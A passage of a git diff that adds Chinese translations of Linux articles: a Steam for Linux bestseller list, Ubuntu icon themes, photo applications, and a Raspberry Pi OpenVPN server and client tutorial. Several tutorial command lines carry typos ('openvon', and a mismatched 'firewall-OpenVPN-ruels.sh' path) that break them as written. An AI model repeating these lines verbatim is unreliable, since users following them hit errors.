,呵呵鱼工作室开发的一款程序生成冒险类游戏,游戏中玩家玩家扮演了一个逃离了自己星球而只能紧急降落在其他星球的角色,游戏在第五位。这个游戏仍然在开发中,在游戏完成之前就有人买的事实说明了游戏的质量。 + +**坎巴拉太空计划** ,一个多类型玩法的游戏,游戏中玩家必须要创建自己的太空项目而且要在不杀死宇航员的情况下发射成功,游戏现在在第四位。 + +**盖瑞模组 Garry's Mod**, 一个物理沙箱,就其本身而言它甚至不算是个游戏,它存在于第三空间,如果我们想想它的话它确实很奇怪。游戏没有单独的玩家战争,但玩家有完全的自由。 + +**腐蚀Rust**, 一款第一人称生存游戏,游戏背景发生在一个持久的宇宙中,游戏不再是第一位,但第二位也不是那么糟糕。游戏仍在开发中,没有迹象表明多会儿会发布最终版本。 + +Steam for Linux的最畅名单中位于第一位是新领主,叫做 **战斗砖块剧场** 。这是一款由The Behemoth创作并发布的2D战斗平台游戏,游戏特点是有趣的关卡设计和漂亮的图案。 + +玩的开心! + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/BattleBlock-Theater-Now-Rules-the-Steam-for-Linux-Best-Selling-List-442722.shtml + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: \ No newline at end of file diff --git a/published/201405/Best Icon Themes For Ubuntu 14.04.md b/published/201405/Best Icon Themes For Ubuntu 14.04.md new file mode 100644 index 0000000000..5f8bcc1445 --- /dev/null +++ b/published/201405/Best Icon Themes For Ubuntu 14.04.md @@ -0,0 +1,86 @@ +五个 Ubuntu 14.04 最佳图标集 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/05/Ubuntu_Trusty_Tahr_Best_Icons.jpeg) + +还在苦苦折腾让你的 Ubuntu 14.04 更加漂亮的方法吗?那就赶紧给你的系统换套图标吧!如果你还没发现哪些图标主题很棒,不用着急,我已经整理了一些适用于**Ubuntu 14.04的最佳图标集**。不过在欣赏这些图标集之前,我还是先向你介绍一下如何应用图标主题吧。 + +### 如何在 Ubuntu 系统中应用新图标集: ### + +你可以通过两种方式来安装一个新的图标主题。一个是添加PPA源。你可以添加PPA软件源,然后安装某个图标集。但并不是所有的图标集可以通过该方法获得。所以,另一种方法就是,下载该图标集的压缩文件,然后将之解压到**~/.icons**文件夹。如果这个文件夹不存在的话,你可以使用下面的命令来新建: + + mkdir ~/.icons + +解压到以上路径的图标只对当前用户有效。如果你希望所有的用户都可以使用该图标主题,你应该将该图标解压到**/usr/share/icons**。 + +到此,你已经安装了该图标。这样的话,你就可以使用[Unity Tweak Tool][1]来应用该图标主题。你可以使用下面的命令来安装 Unity Tweak Tool: + + sudo apt-get install unity-tweak-tool + +安装完毕后,打开该软件,点击**外观**选项下面的**图标**: + +![](http://itsfoss.com/wp-content/uploads/2014/05/Unity_Tweak_Tool.jpeg) + +现在,你可以选择你所喜欢的图标集啦。到此为止,我想你已经掌握了如何在 Ubuntu 中更换图标,下面我们一起来欣赏 Ubuntu 中最棒的图标主题吧。 + +### Ubuntu 14.04最棒的图标主题: ### + +废话不多说,我们一起来欣赏一些 Ubuntu Unity 桌面可用的图标主题吧(可能也支持Gnome桌面环境,小编未在该桌面环境下测试): + +#### Moka: #### + +![](http://itsfoss.com/wp-content/uploads/2014/05/moka-Ubuntu-themes.jpeg) + +你可以使用以下命令在 Ubuntu 以及同类的发行版中安装该图标主题: + + sudo add-apt-repository ppa:snwh/moka-icon-theme-daily + sudo apt-get update + sudo apt-get install moka-icon-theme moka-icon-theme-symbolic moka-icon-theme-extras + +#### Numix: #### + +![](http://itsfoss.com/wp-content/uploads/2014/05/Numix_Circle.jpeg) + +上图中展示的是 Numix 圆形图标主题。一些相似的图标主题和壁纸资源也是可以通过 Numix PPA 软件源获得的: + + sudo add-apt-repository ppa:numix/ppa + sudo apt-get update + sudo apt-get install numix-icon-theme numix-icon-theme-circle + +#### Uniform: #### + +![](http://itsfoss.com/wp-content/uploads/2014/05/Uniform_Icons.jpeg) + +你可以通过下面的链接获取该图标主题: + +- [下载Uniform icon theme][2] + +#### Plateau: #### + +![](http://itsfoss.com/wp-content/uploads/2014/05/Plateau_Icon_Themes.jpeg) + +你可以通过下面的链接获取该图标主题: + +- [下载Plateau icon theme][3] + +#### Simple [只支持Gnome桌面环境]: #### + +![](http://itsfoss.com/wp-content/uploads/2014/05/simple_icon_theme.jpeg) + +你可以通过下面的链接获取该图标主题: + +- [下载Simple icon theme for Gnome][4] + +到此,这一次精美图标主题介绍就结束了,但这绝不意味着终止。之后我还会继续给大家介绍更多的精美图标主题。此外,如果你有很棒的图标主题,而且没有在我们这次的**图标主题介绍**中提到,一定记得分享给我们哦。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/best-icon-themes-ubuntu-1404/ + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/how-to-install-themes-in-ubuntu-13-10/ +[2]:http://0rax0.deviantart.com/art/Uniform-Icon-Theme-453054609 +[3]:http://malysss.deviantart.com/art/Plateau-0-2-391110900 +[4]:http://www.deviantart.com/art/Simple-icon-theme-426040287 diff --git a/published/201405/Best Photo Applications For Ubuntu Linux.md b/published/201405/Best Photo Applications For Ubuntu Linux.md new file mode 100644 index 0000000000..f334df3ff1 --- /dev/null +++ b/published/201405/Best Photo Applications For Ubuntu Linux.md @@ -0,0 +1,62 @@ +Ubuntu Linux上的最佳照片应用程序 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/05/Image_Applications_Linux.jpeg) + +在我上次写[切换到Linux的理由][1]后,一位读者建议我写一些关于Windows上流行的应用程序的Linux替代品的内容。毕竟,这对于想切换到Linux的那些Windows用户们的最普遍关心的问题。 + +在本文中,我列出了可用于各种用途的与照片相关的应用程序,努力试图来回应大家普遍关心的问题。这个列表中的应用程序并非是Windows程序的替代品,而只是能用于多种用途的Linux下的图像应用程序的集合。 + +### Linux中的图像编辑应用 ### + +当我提到图像编辑时,我是指骨灰级专业风格的照片编辑。换句话讲,我是在讨论[Photoshop][2]。而对于Adobe Photoshop的Linux替代品而言,只有一个名字浮现在我脑海里,那就是[GIMP][3]。GIMP是一个跨平台、全功能、专业级别的编辑软件,几乎囊括了Photoshop的全部功能。与Photoshop不同的是,GIMP对于所有平台都免费,如Linux,Windows,OS X等等。 + +你可以从Ubuntu软件中心来为Ubuntu安装GIMP。 + +如果你醉心于Photoshop,并且对于调整GIMP的外观和快捷键有一定难度,那我推荐你使用[Gimpshop][4]。它是一个基于GIMP,而又有Photoshop风格的应用程序,当然也是免费的。 + +### Linux中的照片管理应用 ### + +这里我是在说处理图像仓库的应用程序。你可以查看图像,从照相机和手机导入图像,进行图像的简单编辑,分享图像等等。在Windows中,我们有Windows照片查看器。而在Linux中,[Shotwell][5]是当今最流行的照片管理工具。它也是各种Linux发行版中默认内置的应用程序,当然Ubuntu也是这样内置的。和GIMP不同的是,Shotwell是一个轻量级应用,但也提供了一些最基本的编辑功能。 + +Shotwell的一个很好的替代品是[gThumb][6]。 + +### Linux中用于处理原生照相机图像的应用 ### + +由于数码单反相机价格的下降,(业余)摄影师的数量也以同比例增长。由于许多数码单反相机使用原生格式存储图像,像Shotwell这样的默认的图像查看器就不能处理这些图像了,也因此像[digiKam][7]这样的应用程序就应运而生了。作为一个开源软件,digiKam可以让你以专业方式处理高端相机图像。你可以使用digiKam来查看、管理、编辑、增强、组织图像,可以给图像贴标识,也可以分享图像。 + +digiKam的另一个替代品是[GTKRawGallery][8],该软件也关注对照相机图像的处理。 + +### Linux中的绘图应用 ### + +如果你正在寻找微软[画图][9]的Linux替代品,那么我选择Paint。你可以用该软件做一些像文本注解、画圆圈这样的编辑,你可以使用铅笔、画笔和喷枪来画图。在Ubuntu中,你可以从Ubuntu软件中心安装该软件。 + +Pinta的另一个替代品是[Krita][10],该软件更强大,提供了更多的功能。比画图应用好,但还比不上GIMP。 + +### Linux中像Instagram一样的应用 ### + +最后,让我们来讨论一下图像美化吧。在移动设备上,我们有许多复古的图像效果,但桌面平台中却没有。要在Linux中应用Instagram一样的效果,据我所知只有[XnRetro][11],它能巧妙地进行处理。推荐你阅读[如何在Ubuntu中使用XnRetro][12]这篇文章来获取更多信息。 + +以上只是编排列出了Ubuntu以及其它Linux发行版中可用的各类图像应用软件,但这不是一个这类应用程序的完整列表。事实上,还有很多同类软件,我只是列出了个类目中最好的。 + +你认为呢?你也使用其它一些应用程序来完成特定的工作?能和我们分享你的看法吗? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/image-applications-ubuntu-linux/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/reasons-switch-linux-windows-xp/ +[2]:http://www.photoshop.com/ +[3]:http://www.gimp.org/ +[4]:http://www.gimpshop.com/ +[5]:https://wiki.gnome.org/Apps/Shotwell +[6]:https://wiki.gnome.org/action/show/Apps/gthumb?action=show&redirect=gthumb +[7]:http://www.digikam.org/ +[8]:http://gtkrawgallery.sourceforge.net/src/en/home.html +[9]:http://pinta-project.com/ +[10]:http://krita.org/index.php +[11]:http://www.xnview.com/en/xnretro/ +[12]:http://itsfoss.com/add-instagram-effects-xnretro-ubuntu-linux/ diff --git a/published/201405/Building A Raspberry Pi VPN Part One--How And Why To Build A Server.md b/published/201405/Building A Raspberry Pi VPN Part One--How And Why To Build A Server.md new file mode 100644 index 0000000000..5921476309 --- /dev/null +++ b/published/201405/Building A Raspberry Pi VPN Part One--How And Why To Build A Server.md @@ -0,0 +1,324 @@ +在树莓派上建立VPN(一):如何以及为何建立一个VPN服务器? +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/Rasberry-Pi_2_red.jpg) + +> 不要相信任何人,自己建立一个VPN服务器来加密Web数据从而躲过他人的窥视 + +虽然免费、未加密的无线AP遍地都是,但是你不应该连接这些AP来登陆你的网银账户,除非你对他人的窥视毫不在意。那么对此的解决方案是什么呢?一个[虚拟专用网][1],也就是VPN(virtual private network)。 + +一个VPN可以使你的私有网络拓展至公共场所,因此即使你连接着星巴克的 Wi-Fi,你的网络浏览仍然保持着安全的加密。 + +有很多方法来建立VPN,包括[免费以及付费的服务][2],但是每个解决方案都有其的优点以及缺点,这取决于VPN服务商运作的方式和服务商提供的VPN选项。 + +最简单及最方便的保证数据安全的方法就是完全抛弃公共Wi-Fi。但是这个解决方案对于我来说有点极端了,一部分原因是在家里建立一个VPN服务器相对容易以及划算,你只需要一个便宜的($35)小型的树莓派。 + +我的树莓派与智能手机差不多大小,并且它拥有一个VPN服务器所有应有的功能。这意味着不管我在哪里,我可以通过安全的网络来连接在家里的电脑和家里的内网来访问共享的文件以及媒体。这个服务器在我最近去波士顿的旅途中使生活变得十分美好,在旅途中我仍然可以观看储存在家里台式机上的视频。 + +在这部分文章中,说实话我希望直接带给你们一个设置树莓派VPN的教程。问题是这个优秀教程并不存在,至少目前没有一个适合大部分电脑用户的优秀教程。虽然有无数关于如何搭建树莓派VPN的教程,但极少的教程会解释这么做的目的。 + +我阅读了不少教程,并把好的部分整合入了这半篇教程中,来教授读者如何搭建树莓派VPN服务器。这个教程甚至连我都能理解,并完成如何搭建和为何搭建的学习。最重要的是,我认为Eric Jodoin的VPN教程更适合那些专家,但它使我的大脑直接宕机了... + +那么跟随我钻进加密法的兔子洞并且开始学习吧,无论你有多么多疑,提出了创造VPNs的那个人更正是如此。 + +### 材料 ### + +#### 硬件 #### + +![](http://readwrite.com/files/Raspberry_Pi_Model_B_Rev._2.jpg) + +**Raspberry Pi Model B**:以及使其工作所需要的所有硬件-一个常规电源供电器和一个放置的小盒子。小盒子可以避免树莓派硬件意外短路而损坏-这个盒子甚至可以是一个自己折叠的纸板箱。 + +**SD card**:我建议8GB及以上的容量,只是来保证你有必要的储存空间。像所有树莓派项目一样,SD卡上应该要预装上NOOBS。 + +**五类网线**:这根网线将连接树莓派的以太网接口和你的路由器的以太网接口。 + +#### 软件 #### + +[Open VPN][3]:这是一个开源VPN服务软件,我们今天就要安装它。 + +### 开始项目之前的准备 ### + +1) 你需要[准备好NOOBS][4]并且安装完[Raspbian][5]。我在"鱼缸管理"项目中对此做过一个[一步步][6]的教程。因此你也可以在那里查看。 + +2) 你需要为树莓派设置一个在你家内网中的静态IP地址。这一步骤取决于你路由器的型号,因此你可能需要阅读你的路由器的说明书来完成这一步。如果你还没有完成这一步,你可以参照ReadWrite的[教程][7]。 + +3) 你需要启用SSH。我们需要通过[SSH][8]与树莓派进行连接,这是一个使我们能够从另一台电脑连接树莓派的工具。通过这种方法,我们在这个项目中不需要再为树莓派单独设置一个显示屏以及无线键盘。再提一下,看看ReadWrite的[教程][9]。 + +4) 你需要将路由器的1194端口映射至树莓派的内网IP地址[采用UDP协议][10],完成这一步的方法也决定于你路由器的型号,所以阅读路由器说明书吧。如果你想用另一个端口或TCP协议,没问题,只要将此教程中提及"UDP"的地方换为"TCP",1194端口改为你需要的端口就行了。想必你也猜到了,ReadWrite为此也写了一篇[教程][11]。 + +你可以从上文看出,我们现在在建立一些树莓派的基础概念,这也是为什么在树莓派上搭建VPN对初学者的第一个项目来说并不是适合。 + +### 简单的一些警告 ### + +我曾经喜欢直接拷贝网上教程中的代码,但是当我自己测试这篇教程时,我发现直接的复制粘贴代码会导致一些错误,原因是复制粘贴中出现的空行以及格式变化。如果你发现在此篇教程在实际操作时出现了一些问题,我的建议是先手动输入代码试试! + +### First Steps ### + +1) 启动并修改树莓派的密码。如果你还在使用树莓派的默认用户名(pi)和密码(respberry),那么接下来的安全教程就完全没有什么意义了。 + +打开一个terminal/PuTTY 窗口输入: + + sudo passwd + +将用户名以及密码修改地既好记并难猜([微软对此有一些建议][12]),不然的话为什么要自找麻烦搭建一个私人网络呢? + +2) 为了树莓派的安全来进行软件包的升级。输入如下两条命令: + + sudo apt-get update + sudo apt-get upgrade + +这应该不会花太多时间,而且为我们排除了之后可能会产生的问题。 + +3) 接下来我们需要这个开源软件(OpenVPN)了。输入: + + sudo apt-get install openvpn + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%2010.22.19%20AM.png) + +树莓派会询问确认,因为这用掉一点点储存空间。但是由于我们已经准备了一张8GB及以上的SD卡,我们对此完全没问题。 + +### 生成密钥 ### + +4) 你当然不想让任何发现你的VPN的人就可以连接,因此我们会为这个安全的地址准备一个来验证身份的密钥。这就像为你的家门准备一把锁一样。 + +OpenVPN自带了Easy_RSA,一个轻量并容易的使用RSA加密方法的包。发明于1977年,RSA是第一个沿用至今仍旧可用的加密系统。加密的密钥是公开的,解密的密钥是保密的。如果你听说过比特币的工作原理,这些对你来说应该十分熟悉。 + +通过使用Easy_RSA,你可以使用软件带有的算法来生成一个独一无二的密钥。 + +首先获得树莓派的系统权限,就是将命令提示符中的"pi@raspberrypi"转换成"root@raspberrypi"。 + + sudo -s + +这句命令在现有的终端中再次创建了一个拥有root权限的终端实例。我们需要获得root权限的原因是,如果我们没有root权限,树莓派将不会允许我们创建密钥。 + +接下来,输入: + + cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0 /etc/openvpn/easy-rsa + +在这句命令中,"cp"代表"复制","r"代表递归。这说明我们让电脑执行:复制这个目录以及此目录下的所有文件结构及文件。 + +在**/2.0**和**/etc**中间的空格表示我们将第一个目录地址的文件(一个实例文件)拷贝至第二个目录地址,就是你让OpenVPN寻找密钥的地址。 + + cd /etc/openvpn/easy-rsa + +5) 接下来,我们需要"cd",改变所在目录(change directory),来放置我们生成的Easy_RSA文件。一旦完成这步,我们需要打开文件**/etc/openvpn/easy-rsa/vars**来编辑。我们可以使用nano: **nano /etc/openvpn/easy-rsa/vars**,由于我们已经在此目录下了,我们可以使用简写: + + nano vars + +Nano是Raspbian中内置的文件编辑工具,当然也有其他工具提供给屌丝们,不过我们将在此教程中只使用nano。 + +现在,将你的 EASY_RSA 变量改为: + + export EASY_RSA="/etc/openvpn/easy-rsa" + +对我的环境来说,这是在第13行。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%2010.26.48%20AM.png) + +为什么要修改这个变量呢?其实这是你在回答计算机的问题"你想让文件生成在哪里?"。在这个情况下,我们想要将其生成在我们保存key的同一个目录,在这里是easy-rsa文件树的顶层。 + +在vars文件中我们还可以做一件事,如果你对黑衣众们阅读你的邮箱这件事十分在意的话,你可以将加密方法从1024-bit改至2048-bit。在vars文件中,它明显的指出,"偏执狂请将此改为2048!"。 + +但是因为这个方法大大增长了生成密钥的时间,我们不会在这个教程中使用它。保持下面这个样子: + + export KEY_SIZE=1024 + +按下**Control+X**来保存修改并退出nano。 + +### 加密 ### + +6) 现在该搭建CA证书和Root CA证书了。 + +在加密学中,一个授权机构(certificate authority (CA))是一个颁布电子证书的存在。电子证书来证明公钥的所有者。 + +你可能一直在使用它只是你自己不知道而已。举个例子,当我登陆我的网银账户时,我可以在网页地址前看到HTTPS字符。当我点击HTTPS前的锁时,我会看到一个叫做[GeoTrust][13]的公司验证了我网银页面的合法性,因此我知道这不是一个钓鱼欺诈网站。(当然最近的[Heartbleed漏洞][14]指出HTTPS并不是我们想得那么安全)。 + +在树莓派这个例子中,我作为我自己的授权机构,自己为OpenVPN签字,而不是通过一个第三方公司。 + + cd /etc/openvon/easy-rsa + +现在我们又改变了所在目录,将下面命令一行接一行输入终端: + +**source ./vars** → 这个"source"加载你之前修改的文件(vars)。 + +**./clean-all** → 这会删除之前所有的密钥文件,如果有的话。如果在这个文件目录下有你不想删除的密钥文件(比如这是你第二次尝试这篇教程),跳过这条命令。 + +**./build-ca** → 最后一条来生成你的授权机构。 + +再输入第三条命令之后,树莓派会弹出一堆选项,你可以填写这些选项如果你愿意的话--国家名字,州名或省名,位置名,机构名,机构单位和电子邮件地址。如果你不想填写,只要在每个选项出现时按"enter"就行了,树莓派会使用默认值。下面的截屏展现了这些选项的长相: + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.32.35%20PM.png) + +现在你可以为你的服务器命名了。我很“创新”地将其命名为"Server"。你可以取任意的名字,不过别忘记输入: + + ./build-key-server [Server_Name] + +再次,树莓派会给出一系列的选项,请随便输入,但注意以下几个选项: + +**Commom Name ** 必须是你为服务器取的名字。 + +**A challenge password?** 必须啥也不输,回车即可。 + +**Sign the certificate? [y/n]** 废话,你必须输入"y"。 + +你接下来会看到一段消息说你的证书会在接下来的3650天中有效的信息。因此,如果你打算长期使用这个VPN的话,你必须在十年后重新走这个流程。 + +**1 out of 1 certificate requests certified, commit? [y/n]** 明显,输入"y"。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.35.28%20PM.png) + +6) 服务器端就这么设置好了。现在该为各位用户生成密钥了,或者说"客户"。我为家里的计算机,平板,手机各生成了一个密钥,总共有5个。不要以为在所有客户端使用同样的密钥就可以节省时间,这样的话,一次只能有一个设备能访问VPN。 + + ./build-key-pass UserName + +我发现采用用户名 Client1, Client2, Client3...十分方便 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.37.00%20PM.png) + +在这之后,更多信息会弹出! + +**Enter PEM pass phrase** 设置其为你记得住的密码!他会让你输入两次,不会有几率输入错误。 + +**A challenge password?** 必须留空! + +**Sign the certificate? [y/n]** 同样签十年。 + + cd keys + openssl rsa -in Client1.key -des3 -out Client1.3des.key + +留意我们使用des3加密生成的字符串文件,des3是一个复杂[加密算法][15]会在每一个数据块上运行3次,来防止骇客的暴力破解。OpenSSL 代表开源的加密套接字实现,是一个建立安全连接的标准方法。你需要为你生成的每一个客户端运行这一步。 + +有人会说这一步完全没有必要,你可以跳过这一步。但是如果你通过Android或者iOS设备连接OpenVPN,那么你必须要做这一步,不然的话目前版本在解析你的密钥时会有一些困难产生。 + + Enter pass phrase for Client1.key + +说实话,我用了和以前一样的密码。再输入一遍,就想说的那样。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.40.04%20PM.png) + +现在我们已经创建了服务器证书以及至少一个客户端证书,输入以下命令: + + cd /etc/openvpn/easy-rsa/ + +或者 + + cd .. + +两种方法都会将你的所在目录带会/easy-rsa/。 + +7) 现在该生成[Diffie-Hellman key exange][16]了。这是使你的VPN工作的关键代码,一个使两个没有先前信息的双方通过服务器交换密钥的协议。像RSA一样,这是现有的最早发明的加密系统。 + + ./build-dh + +这一步会花一些时间,甚至比2048-bit加密还要慢。而且没有任何方法可以预测它运行的时间,因为这个算法使用的是随机数并寻找一些特定的关系。事实上,在我写这篇教程时,1024-bit加密只花了我5分钟。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.41.40%20PM.png) + +8) 最后,我们要实现OpenVPN内建的服务阻断攻击(Denial of Service -- DoS)防护。你可能已经知道服务阻断攻击是骇客找到你的服务器地址后很有效的攻击手段,这种攻击通过生成大量的访问请求来使你的服务器崩溃。 + +输入以下代码来生成静态的HMAC([hash-based message authentication code][17])密钥: + + openvpn --genkey --secret keys/ta.key + +## 最后收尾 ## + +9) 我们已经生成了密钥以及来签名的授权机构。剩下的只是如何告诉OpenVPN如何配置这个服务器了。 + +因为我们在树莓派上使用在没有图形用户界面的Linux操作系统,我们需要生成一个.conf (configuration) 文件来告诉OpenVPN如何配置服务器,而不是通过图形界面的选择。用nano打开.conf文件: + + nano /etc/openvpn/server.conf + +我们在这个目录下打开.conf文件的理由是,编辑完此文件会直接生成在/etc/openvpn的目录中。但是你刚刚打开的这个文件是空的。[将此地址中的配置复制入编辑器][18]。在配置中我用大写字符注释了你必须要更改的地方,具体可以看注释。按下 Control+X 来保存文件。 + +10) 让我们快速地编辑一下另一个配置文件。在默认配置下树莓派并不会转发网络流量,我们需要另一个配置文件来使树莓派启用对我们新建网络中的网络流量的转发。 + + nano /etc/sysctl.conf + +在文档开头处有注释:"取消下一行的注释来启用IPv4中的数据包转发。"("Uncomment the next line to enable packet forwarding for IPv4。")。我在下面的截图中高亮了这部分。 + +![](http://readwrite.com/files/Screen%20Shot%202014-04-09%20at%207.46.38%20PM.png) + +删除那一行前面的 # 来取消注释这一行。这告诉树莓派要对IPv4的数据包进行映射。当你取消注释了这一行,树莓派就拥有了作为互联网的中继而不是单单的接受者的权限,可以既接受并发送数据包。 + +按下 Control+X 来保存修改。通过以下命令启用此配置: + + sysctl -p + +sysctl命令表示"[在运行中改变内核配置参数][19]"。-p 告诉计算机重新加载你刚刚修改的配置文件。 + +11) 到这一步我们以及配置完了一个拥有互联网访问权限的工作中的服务器。但是我们还不能用它,用为树莓派有内置的[防火墙][20]来限制传输入的网络连接。 + +Raspbian的防火墙会在来路不明的互联网源头中保护你的树莓派。我们仍然需要防火墙来保护我们,但是我们要在防火墙中挖一个OpenVPN样子的洞,使OpenVPN的连接可以顺利通过。 + +此外,Raspbian的防火墙会在重启后默认进行重置。我们需要创建一个简单的脚本使树莓派记住每次重启时对OpenVPN的连接进行允许。 + + nano /etc/firewall-openvpn-rules.sh + +这是一个空文件,输入以下内容: + + #!/bin/sh + + iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j SNAT --to-source 192.168.XX.X + +不要忘记将默认IP地址改为你树莓派的IP地址! + +解释下这条命令: 10.8.0.0 是客户端连接树莓派VPN后树莓派的默认地址。 "eth0"代表以太网接口。 如果你使树莓派用无线连接互联网的话将其改为"wlan0", 当然我不建议你这么做。 按下 Control+X 保存编辑。 + +为了安全考虑, 我们要改变**/etc/firewall-openvpn-rules.sh**的所有者,使此文件默认不可被运行。 首先将权限设定为[700][21] (所有者可以读、写、执行)。 然后,我们会将此脚本的所有者改为root,,在Linux标准系统中,root代表系统管理员。 + + chmod 700 /etc/firewall-OpenVPN-rules.sh + chown root /etc/firewall-OpenVPN-ruels.sh + +12) 我们已经创建了一个在防火墙中开出OpenVPN形状的洞,我们现在只需要将这个脚本插入到网络interface初始化的代码中,然后它就会在每次开机时运行了。 + + nano /etc/network/interfaces + +找到带有"iface eth0 inet dchp"的那一行。 我们需要在这行之后的缩进中加上一行。 下面是这两行,一行新加入,一行原来就存在,在完成之后它应该差不多像这样: + + iface eth0 inet dhcp + pre-up /etc/firewall-openvpn-rules.sh + +![](http://readwrite.com/files/screenshot_0.png) + +按下 Control+X 保存更改 (当你在使用nano的时候都应该这么做)。 + +最后,再最后, 再最最后:重启树莓派。 + + sudo reboot + +恭喜你!!vpn服务器就这么搭建完成了,当然如果没有客户端连接服务器的话,服务器也没什么用,因此你应该牢记你在第6步创建生成的用户名及密钥。 接下来你可以继续阅读这篇教程的[第二部分][22]来学习如何创建加密的客户端。 + +树莓派的照片来自 [Tors][23]。 其他所有的截屏来自Lauren Ordini。 教程展示于ReadWrite。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/04/10/raspberry-pi-vpn-tutorial-server-secure-web-browsing + +译者:[ThomazL](https://github.com/ThomazL) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Virtual_private_network +[2]:http://netforbeginners.about.com/od/readerpicks/tp/The-Best-VPN-Service-Providers.htm +[3]:http://openvpn.net/ +[4]:http://learn.adafruit.com/setting-up-a-raspberry-pi-with-noobs/overview +[5]:http://www.raspbian.org/ +[6]:http://readwrite.com/2014/03/04/raspberry-pi-quantified-fish-acquarium +[7]:http://readwrite.com/2014/04/09/raspberry-pi-projects-ssh-remote-desktop-static-ip-tutorial?utm_content=readwrite3-orionautotweet&awesm=readwr.it_b1UN&utm_campaign=&utm_medium=readwr.it-twitter&utm_source=t.co#awesm=~oAXilI0BMOHsS3 +[8]:http://en.wikipedia.org/wiki/Secure_Shell +[9]:http://readwrite.com/2014/04/09/raspberry-pi-projects-ssh-remote-desktop-static-ip-tutorial +[10]:http://en.wikipedia.org/wiki/User_Datagram_Protocol +[11]:http://readwrite.com/2014/04/09/raspberry-pi-projects-ssh-remote-desktop-static-ip-tutorial?utm_content=readwrite3-orionautotweet&awesm=readwr.it_b1UN&utm_campaign=&utm_medium=readwr.it-twitter&utm_source=t.co#awesm=~oAXilI0BMOHsS3 +[12]:http://windows.microsoft.com/en-us/windows-vista/tips-for-creating-a-strong-password +[13]:http://www.geotrust.com/ +[14]:http://readwrite.com/2014/04/08/heartbleed-openssl-bug-cryptography-web-security +[15]:http://osxdaily.com/2012/01/30/encrypt-and-decrypt-files-with-openssl/# +[16]:http://www.google.com/patents/US4200770 +[17]:http://en.wikipedia.org/wiki/Hash-based_message_authentication_code +[18]:https://gist.github.com/laurenorsini/9925434 +[19]:http://linux.about.com/library/cmd/blcmdl8_sysctl.htm +[20]:http://en.wikipedia.org/wiki/Firewall_(computing) +[21]:http://www.thinkplexx.com/learn/article/unix/command/chmod-permissions-flags-explained-600-0600-700-777-100-etc +[22]:http://readwrite.com/2014/04/11/building-a-raspberry-pi-vpn-part-two-creating-an-encrypted-client-side#awesm=~oB89WBfWrt21bV +[23]:http://commons.wikimedia.org/wiki/File:Raspberry_Pi_Model_B_Rev._2.jpg + diff --git a/published/201405/Building A Raspberry Pi VPN Part Two--Creating An Encrypted Client Side.md b/published/201405/Building A Raspberry Pi VPN Part Two--Creating An Encrypted Client Side.md new file mode 100644 index 0000000000..3aed6f5137 --- /dev/null +++ b/published/201405/Building A Raspberry Pi VPN Part Two--Creating An Encrypted Client Side.md @@ -0,0 +1,141 @@ +在树莓派上建立VPN(二):建立加密客户端 +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/Rasberry-Pi_3red.jpg) +> 你已经成功搭建了一个工作中的VPN服务器! 现在该干什么了? + +欢迎来到ReadWrite的树莓派VPN搭建教程的第二部分! + +到现在为止,显然我们已经搞定了将你的树莓派变成了一个虚拟私人网络这个工作。随着[未来安全漏洞对互联网生活的妥协][1],你会觉得在你的身边拥有一个安全的服务器越来越有必要了。只有这样,你才可以不用担心有人在你的电脑和互联网之间传输信息时被拦截,可以自由自在地写邮件以及传输数据了。 + +[如果你看过此教程的第一部分][2],你应该已经在你的树莓派上配置好了一个全功能的VPN服务器了。你可以在使用免费WiFi时用这个服务器来传输加密信息了。你也可以访问保存在你家里网络中共享的文件以及媒体。 + +不过,你现在还无法访问。我们现在已经为客户端(计算机和移动设备)创建了访问的密钥,但是我们还没有告诉客户端服务器的访问地址、如何连接、以及用什么密钥访问。 + +你应该记得,我们已经为需要连接VPN的不同客户端创建了不同的密钥。我们将客户端命名为 Client1、 Client2 和 Client3等。 + +但是为每个客户端从零单独生成一个配置文件会造成很多不必要的麻烦,这就是为什么我们需要使用[SANS institute][3]的Eric Jodoin写的巧妙的脚本。这个脚本会帮助我们生成那些配置文件。 + +### 跟随脚本 ### + +这个脚本会访问我们的默认设置,从而为每一个客户端生成各自的配置文件。我们需要做的第一件事是,创建一个空的文本文档并写入我们的默认配置,以便脚本读取。 + + nano /etc/openvpn/easy-rsa/keys/Default.txt + +在空白文件中写入如下配置: + + client + dev tun + proto udp + remote <你的公网ip地址> 1194 + resolv-retry infinite + nobind + persist-key + persist-tun + mute-replay-warnings + ns-cert-type server + key-direction 1 + cipher AES-128-CBC + comp-lzo + verb 1 + mute 20 + 